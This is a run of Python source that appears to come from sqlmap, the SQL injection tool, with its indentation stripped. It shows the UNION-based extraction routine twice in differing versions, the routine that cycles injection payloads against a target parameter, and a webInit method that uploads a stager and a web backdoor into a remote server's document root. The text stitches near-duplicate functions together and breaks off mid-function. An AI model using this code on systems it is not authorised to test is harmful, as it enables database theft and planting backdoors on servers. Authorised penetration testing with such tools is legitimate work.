expression = expression[:expression.upper().rindex(" ORDER BY ")]
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
(dump and (conf.limitStart or conf.limitStop))) and \
" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if limitRegExp:
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif topLimit:
startLimit = 0
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
elif Backend.isDbms(DBMS.ORACLE):
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
stopLimit += startLimit
untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
expression = expression[:untilLimitChar]
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
stopLimit += startLimit
elif dump:
if conf.limitStart:
startLimit = conf.limitStart - 1
if conf.limitStop:
stopLimit = conf.limitStop
# Count the number of SQL query entries output
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
output = _oneShotUnionUse(countedExpression, unpack)
count = parseUnionPage(output)
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and (not isinstance(count, basestring) or not count.isdigit()):
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif not count or int(count) == 0:
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
value = [] # for empty tables
return value
threadData = getCurrentThreadData()
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData.shared.value = BigArray()
threadData.shared.buffered = []
threadData.shared.lastFlushed = startLimit - 1
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
try:
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limits:
try:
num = threadData.shared.limits.next()
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))):
items = parseUnionPage(output)
with kb.locks.value:
index = None
for index in xrange(len(threadData.shared.buffered)):
if threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, items))
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
threadData.shared.lastFlushed += 1
_ = threadData.shared.buffered[0][1]
if not isNoneValue(_):
threadData.shared.value.extend(arrayizeValue(_))
del threadData.shared.buffered[0]
else:
with kb.locks.value:
index = None
for index in xrange(len(threadData.shared.buffered)):
if threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, None))
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo):
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items)))))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\r\n" % status, True)
runThreads(numThreads, unionThread)
if conf.verbose == 1:
clearConsoleLine(True)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
for _ in sorted(threadData.shared.buffered):
if not isNoneValue(_[1]):
threadData.shared.value.extend(arrayizeValue(_[1]))
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value and not abortedFlag:
expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I) # full union doesn't play well with ORDER BY
value = _oneShotUnionUse(expression, unpack)
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %d seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
logger.debug(debugMsg)
return value
def checkSqlInjection(place, parameter, value):
# Store here the details about boundaries and payload used to
# successfully inject
injection = InjectionDict()
# Localized thread data needed for some methods
threadData = getCurrentThreadData()
# Set the flag for SQL injection test mode
kb.testMode = True
for test in getSortedInjectionTests():
try:
if kb.endDetection:
break
title = test.title
stype = test.stype
clause = test.clause
unionExtended = False
if stype == PAYLOAD.TECHNIQUE.UNION:
configUnion(test.request.char)
if "[CHAR]" in title:
if conf.uChar is None:
continue
else:
title = title.replace("[CHAR]", conf.uChar)
elif "[RANDNUM]" in title or "(NULL)" in title:
title = title.replace("[RANDNUM]", "random number")
if test.request.columns == "[COLSTART]-[COLSTOP]":
if conf.uCols is None:
continue
else:
title = title.replace("[COLSTART]", str(conf.uColsStart))
title = title.replace("[COLSTOP]", str(conf.uColsStop))
elif conf.uCols is not None:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "provided custom column range %s" % conf.uCols
logger.debug(debugMsg)
continue
match = re.search(r"(\d+)-(\d+)", test.request.columns)
if injection.data and match:
lower, upper = int(match.group(1)), int(match.group(2))
for _ in (lower, upper):
if _ > 1:
unionExtended = True
test.request.columns = re.sub(r"\b%d\b" % _, str(2 * _), test.request.columns)
title = re.sub(r"\b%d\b" % _, str(2 * _), title)
test.title = re.sub(r"\b%d\b" % _, str(2 * _), test.title)
# Skip test if the user's wants to test only for a specific
# technique
if conf.tech and isinstance(conf.tech, list) and stype not in conf.tech:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "specified to test only for "
debugMsg += "%s techniques" % " & ".join(map(lambda x: PAYLOAD.SQLINJECTION[x], conf.tech))
logger.debug(debugMsg)
continue
# Skip test if it is the same SQL injection type already
# identified by another test
if injection.data and stype in injection.data:
debugMsg = "skipping test '%s' because " % title
debugMsg += "the payload for %s has " % PAYLOAD.SQLINJECTION[stype]
debugMsg += "already been identified"
logger.debug(debugMsg)
continue
# Skip tests if title is not included by the given filter
if conf.testFilter:
if not any(re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector,\
test.details.dbms if "details" in test and "dbms" in test.details else "")):
debugMsg = "skipping test '%s' because " % title
debugMsg += "its name/vector/dbms is not included by the given filter"
logger.debug(debugMsg)
continue
else:
# Skip test if the risk is higher than the provided (or default)
# value
# Parse test's <risk>
if test.risk > conf.risk:
debugMsg = "skipping test '%s' because the risk (%d) " % (title, test.risk)
debugMsg += "is higher than the provided (%d)" % conf.risk
logger.debug(debugMsg)
continue
# Skip test if the level is higher than the provided (or default)
# value
# Parse test's <level>
if test.level > conf.level:
debugMsg = "skipping test '%s' because the level (%d) " % (title, test.level)
debugMsg += "is higher than the provided (%d)" % conf.level
logger.debug(debugMsg)
continue
# Skip DBMS-specific test if it does not match either the
# previously identified or the user's provided DBMS (either
# from program switch or from parsed error message(s))
if "details" in test and "dbms" in test.details:
dbms = test.details.dbms
else:
dbms = None
if dbms is not None:
if injection.dbms is not None and not intersect(injection.dbms, dbms):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the back-end DBMS identified is "
debugMsg += "%s" % injection.dbms
logger.debug(debugMsg)
continue
if conf.dbms is not None and not intersect(conf.dbms.lower(), [value.lower() for value in arrayizeValue(dbms)]):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the provided DBMS is %s" % conf.dbms
logger.debug(debugMsg)
continue
if conf.dbms is None and len(Backend.getErrorParsedDBMSes()) > 0 and not intersect(dbms, Backend.getErrorParsedDBMSes()) and kb.skipOthersDbms is None:
msg = "parsed error message(s) showed that the "
msg += "back-end DBMS could be %s. " % Format.getErrorParsedDBMSes()
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
if readInput(msg, default="Y") in ("y", "Y"):
kb.skipOthersDbms = Backend.getErrorParsedDBMSes()
else:
kb.skipOthersDbms = []
if kb.skipOthersDbms and not intersect(dbms, kb.skipOthersDbms):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the parsed error message(s) showed "
debugMsg += "that the back-end DBMS could be "
debugMsg += "%s" % Format.getErrorParsedDBMSes()
logger.debug(debugMsg)
continue
# Skip test if it does not match the same SQL injection clause
# already identified by another test
clauseMatch = False
for clauseTest in clause:
if injection.clause is not None and clauseTest in injection.clause:
clauseMatch = True
break
if clause != [0] and injection.clause and injection.clause != [0] and not clauseMatch:
debugMsg = "skipping test '%s' because the clauses " % title
debugMsg += "differs from the clause already identified"
logger.debug(debugMsg)
continue
# Skip test if the user provided custom character
if conf.uChar is not None and ("random number" in title or "(NULL)" in title):
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "provided a specific character, %s" % conf.uChar
logger.debug(debugMsg)
continue
infoMsg = "testing '%s'" % title
logger.info(infoMsg)
# Force back-end DBMS according to the current
# test value for proper payload unescaping
Backend.forceDbms(dbms[0] if isinstance(dbms, list) else dbms)
# Parse test's <request>
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value)
# Favoring non-string specific boundaries in case of digit-like parameter values
if value.isdigit():
boundaries = sorted(copy.deepcopy(conf.boundaries), key=lambda x: any(_ in (x.prefix or "") or _ in (x.suffix or "") for _ in ('"', '\'')))
else:
boundaries = conf.boundaries
for boundary in boundaries:
injectable = False
# Skip boundary if the level is higher than the provided (or
# default) value
# Parse boundary's <level>
if boundary.level > conf.level:
continue
# Skip boundary if it does not match against test's <clause>
# Parse test's <clause> and boundary's <clause>
clauseMatch = False
for clauseTest in test.clause:
if clauseTest in boundary.clause:
clauseMatch = True
break
if test.clause != [0] and boundary.clause != [0] and not clauseMatch:
continue
# Skip boundary if it does not match against test's <where>
# Parse test's <where> and boundary's <where>
whereMatch = False
for where in test.where:
if where in boundary.where:
whereMatch = True
break
if not whereMatch:
continue
# Parse boundary's <prefix>, <suffix> and <ptype>
prefix = boundary.prefix if boundary.prefix else ""
suffix = boundary.suffix if boundary.suffix else ""
# Options --prefix/--suffix have a higher priority (if set by user)
prefix = conf.prefix if conf.prefix is not None else prefix
suffix = conf.suffix if conf.suffix is not None else suffix
comment = None if conf.suffix is not None else comment
ptype = boundary.ptype
# If the previous injections succeeded, we know which prefix,
# suffix and parameter type to use for further tests, no
# need to cycle through the boundaries for the following tests
condBound = (injection.prefix is not None and injection.suffix is not None)
condBound &= (injection.prefix != prefix or injection.suffix != suffix)
condType = injection.ptype is not None and injection.ptype != ptype
if condBound or condType:
continue
# For each test's <where>
for where in test.where:
templatePayload = None
vector = None
# Threat the parameter original value according to the
# test's <where> tag
if where == PAYLOAD.WHERE.ORIGINAL:
origValue = value
elif where == PAYLOAD.WHERE.NEGATIVE:
# Use different page template than the original
# one as we are changing parameters value, which
# will likely result in a different content
if conf.invalidLogical:
origValue = "%s AND %s=%s" % (origValue, randomInt(), randomInt())
elif conf.invalidBignum:
origValue = "%d.%d" % (randomInt(6), randomInt(1))
else:
origValue = "-%s" % randomInt()
templatePayload = agent.payload(place, parameter, newValue=origValue, where=where)
elif where == PAYLOAD.WHERE.REPLACE:
origValue = ""
kb.pageTemplate, kb.errorIsNone = getPageTemplate(templatePayload, place)
# Forge request payload by prepending with boundary's
# prefix and appending the boundary's suffix to the
# test's ' <payload><comment> ' string
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
# Perform the test's request and check whether or not the
# payload was successful
# Parse test's <response>
for method, check in test.response.items():
check = agent.cleanupPayload(check, origValue=value)
# In case of boolean-based blind SQL injection
if method == PAYLOAD.METHOD.COMPARISON:
# Generate payload used for comparison
def genCmpPayload():
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value)
# Forge response payload by prepending with
# boundary's prefix and appending the boundary's
# suffix to the test's ' <payload><comment> '
# string
boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
return cmpPayload
# Useful to set kb.matchRatio at first based on
# the False response content
kb.matchRatio = None
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
Request.queryPage(genCmpPayload(), place, raise404=False)
falsePage = threadData.lastComparisonPage or ""
# Perform the test's True request
trueResult = Request.queryPage(reqPayload, place, raise404=False)
truePage = threadData.lastComparisonPage or ""
if trueResult:
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
# Perform the test's False request
if not falseResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
if not injectable and not any((conf.string, conf.notString, conf.regexp)) and kb.pageStable:
trueSet = set(extractTextTagContent(truePage))
falseSet = set(extractTextTagContent(falsePage))
candidates = filter(None, (_.strip() if _.strip() in (kb.pageTemplate or "") and _.strip() not in falsePage else None for _ in (trueSet - falseSet)))
if candidates:
conf.string = random.sample(candidates, 1)[0]
infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=\"%s\")" % (place, parameter, title, repr(conf.string).lstrip('u').strip("'"))
logger.info(infoMsg)
injectable = True
# In case of error-based SQL injection
elif method == PAYLOAD.METHOD.GREP:
# Perform the test's request and grep the response
# body for the test's <grep> regular expression
try:
page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output:
result = output == "1"
if result:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
except SqlmapConnectionException, msg:
debugMsg = "problem occured most likely because the "
debugMsg += "server hasn't recovered as expected from the "
debugMsg += "error-based payload used ('%s')" % msg
logger.debug(debugMsg)
# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
# Perform the test's request
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
# Confirm test's results
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
# In case of UNION query SQL injection
elif method == PAYLOAD.METHOD.UNION:
# Test for UNION injection and set the sample
# payload as well as the vector.
# NOTE: vector is set to a tuple with 6 elements,
# used afterwards by Agent.forgeUnionQuery()
# method to forge the UNION query payload
configUnion(test.request.char, test.request.columns)
if not Backend.getIdentifiedDbms():
warnMsg = "using unescaped version of the test "
warnMsg += "because of zero knowledge of the "
warnMsg += "back-end DBMS. You can try to "
warnMsg += "explicitly set it using option '--dbms'"
singleTimeWarnMessage(warnMsg)
if unionExtended:
infoMsg = "automatically extending ranges "
infoMsg += "for UNION query injection technique tests as "
infoMsg += "there is at least one other potential "
infoMsg += "injection technique found"
singleTimeLogMessage(infoMsg)
# Test for UNION query SQL injection
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
if isinstance(reqPayload, basestring):
infoMsg = "%s parameter '%s' is '%s' injectable" % (place, parameter, title)
logger.info(infoMsg)
injectable = True
# Overwrite 'where' because it can be set
# by unionTest() directly
where = vector[6]
kb.previousMethod = method
# If the injection test was successful feed the injection
# object with the test's details
if injectable is True:
# Feed with the boundaries details only the first time a
# test has been successful
if injection.place is None or injection.parameter is None:
if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
injection.parameter = place
else:
injection.parameter = parameter
injection.place = place
injection.ptype = ptype
injection.prefix = prefix
injection.suffix = suffix
injection.clause = clause
# Feed with test details every time a test is successful
if hasattr(test, "details"):
for dKey, dValue in test.details.items():
if dKey == "dbms":
injection.dbms = dValue
if not isinstance(dValue, list):
Backend.setDbms(dValue)
else:
Backend.forceDbms(dValue[0], True)
elif dKey == "dbms_version" and injection.dbms_version is None and not conf.testFilter:
injection.dbms_version = Backend.setVersion(dValue)
elif dKey == "os" and injection.os is None:
injection.os = Backend.setOs(dValue)
if vector is None and "vector" in test and test.vector is not None:
vector = test.vector
injection.data[stype] = AttribDict()
injection.data[stype].title = title
injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload)
injection.data[stype].where = where
injection.data[stype].vector = vector
injection.data[stype].comment = comment
injection.data[stype].templatePayload = templatePayload
injection.data[stype].matchRatio = kb.matchRatio
injection.conf.textOnly = conf.textOnly
injection.conf.titles = conf.titles
injection.conf.string = conf.string
injection.conf.notString = conf.notString
injection.conf.regexp = conf.regexp
injection.conf.optimize = conf.optimize
if not kb.alerted:
if conf.beep:
beep()
if conf.alert:
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
logger.info(infoMsg)
process = execute(conf.alert, shell=True)
process.wait()
kb.alerted = True
# There is no need to perform this test for other
# <where> tags
break
if injectable is True:
kb.vulnHosts.add(conf.hostname)
break
def unionUse(expression, unpack=True, dump=False):
"""
This function tests for an UNION SQL injection on the target
URL then call its subsidiary function to effectively perform an
UNION SQL injection on the affected URL
"""
initTechnique(PAYLOAD.TECHNIQUE.UNION)
abortedFlag = False
count = None
origExpr = expression
startLimit = 0
stopLimit = None
value = None
width = getConsoleWidth()
start = time.time()
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
origExpr)
# Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if conf.api else None
if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
kb.rowXmlMode = True
_ = "(%s FOR XML RAW, BINARY BASE64)" % expression
output = _oneShotUnionUse(_, False)
value = parseUnionPage(output)
kb.rowXmlMode = False
if expressionFieldsList and len(
expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
# Removed ORDER BY clause because UNION does not play well with it
expression = re.sub("(?i)\s*ORDER BY\s+[\w,]+", "", expression)
debugMsg = "stripping ORDER BY clause from statement because "
debugMsg += "it does not play well with UNION query SQL injection"
singleTimeDebugMessage(debugMsg)
# We have to check if the SQL query might return multiple entries
# if the technique is partial UNION query and in such case forge the
# SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
kb.forcePartialUnion or \
(dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(
expression, dump)
if limitCond:
# Count the number of SQL query entries output
countedExpression = expression.replace(
expressionFields,
queries[Backend.getIdentifiedDbms()].count.query %
('*' if len(expressionFieldsList) > 1 else expressionFields),
1)
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
output = _oneShotUnionUse(countedExpression, unpack)
count = unArrayizeValue(parseUnionPage(output))
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and (not isinstance(count, basestring)
or not count.isdigit()):
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
value = [] # for empty tables
return value
if isNumPosStrValue(count) and int(count) > 1:
threadData = getCurrentThreadData()
try:
threadData.shared.limits = iter(
xrange(startLimit, stopLimit))
except OverflowError:
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (
startLimit, stopLimit)
errMsg += "with switch '--fresh-queries'"
raise SqlmapDataException(errMsg)
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData.shared.value = BigArray()
threadData.shared.buffered = []
threadData.shared.counter = 0
threadData.shared.lastFlushed = startLimit - 1
threadData.shared.showEta = conf.eta and (stopLimit -
startLimit) > 1
if threadData.shared.showEta:
threadData.shared.progress = ProgressBar(
maxValue=(stopLimit - startLimit))
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
try:
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
valueStart = time.time()
threadData.shared.counter += 1
num = threadData.shared.limits.next()
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL,
DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(
num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack,
True)
if not kb.threadContinue:
break
if output:
with kb.locks.value:
if all(_ in output
for _ in (kb.chars.start,
kb.chars.stop)):
items = parseUnionPage(output)
if threadData.shared.showEta:
threadData.shared.progress.progress(
time.time() - valueStart,
threadData.shared.counter)
if isListLike(items):
# in case that we requested N columns and we get M!=N then we have to filter a bit
if len(items) > 1 and len(
expressionFieldsList) > 1:
items = [
item for item in items
if isListLike(item)
and len(item) == len(
expressionFieldsList)
]
items = [
_ for _ in flattenValue(items)
]
if len(items) > len(
expressionFieldsList):
filtered = OrderedDict()
for item in items:
key = re.sub(
r"[^A-Za-z0-9]", "",
item).lower()
if key not in filtered or re.search(
r"[^A-Za-z0-9]",
item):
filtered[key] = item
items = filtered.values()
items = [items]
index = None
for index in xrange(1 + len(
threadData.shared.buffered)):
if index < len(
threadData.shared.buffered
) and threadData.shared.buffered[
index][0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, items))
else:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(
time.time() - valueStart,
threadData.shared.counter)
for index in xrange(1 + len(
threadData.shared.buffered)):
if index < len(
threadData.shared.buffered
) and threadData.shared.buffered[
index][0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, None))
items = output.replace(
kb.chars.start, "").replace(
kb.chars.stop,
"").split(kb.chars.delimiter)
while threadData.shared.buffered and (
threadData.shared.lastFlushed + 1
>= threadData.shared.buffered[0][0]
or
len(threadData.shared.buffered) >
MAX_BUFFERED_PARTIAL_UNION_LENGTH):
threadData.shared.lastFlushed, _ = threadData.shared.buffered[
0]
if not isNoneValue(_):
threadData.shared.value.extend(
arrayizeValue(_))
del threadData.shared.buffered[0]
if conf.verbose == 1 and not (
threadData.resumed
and kb.suppressResumeInfo
) and not threadData.shared.showEta:
_ = ','.join(
"\"%s\"" % _ for _ in
flattenValue(arrayizeValue(
items))) if not isinstance(
items, basestring) else items
status = "[%s] [INFO] %s: %s" % (
time.strftime("%X"), "resumed"
if threadData.resumed else "retrieved",
_ if kb.safeCharEncode else
safecharencode(_))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\n" % status)
runThreads(numThreads, unionThread)
if conf.verbose == 1:
clearConsoleLine(True)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
for _ in sorted(threadData.shared.buffered):
if not isNoneValue(_[1]):
threadData.shared.value.extend(arrayizeValue(_[1]))
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value and not abortedFlag:
output = _oneShotUnionUse(expression, unpack)
value = parseUnionPage(output)
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (
kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
logger.debug(debugMsg)
return value
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
else:
directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = mkstemp()
os.fdopen(handle).close() # close low level handle (causing problems later)
with open(filename, "w+") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
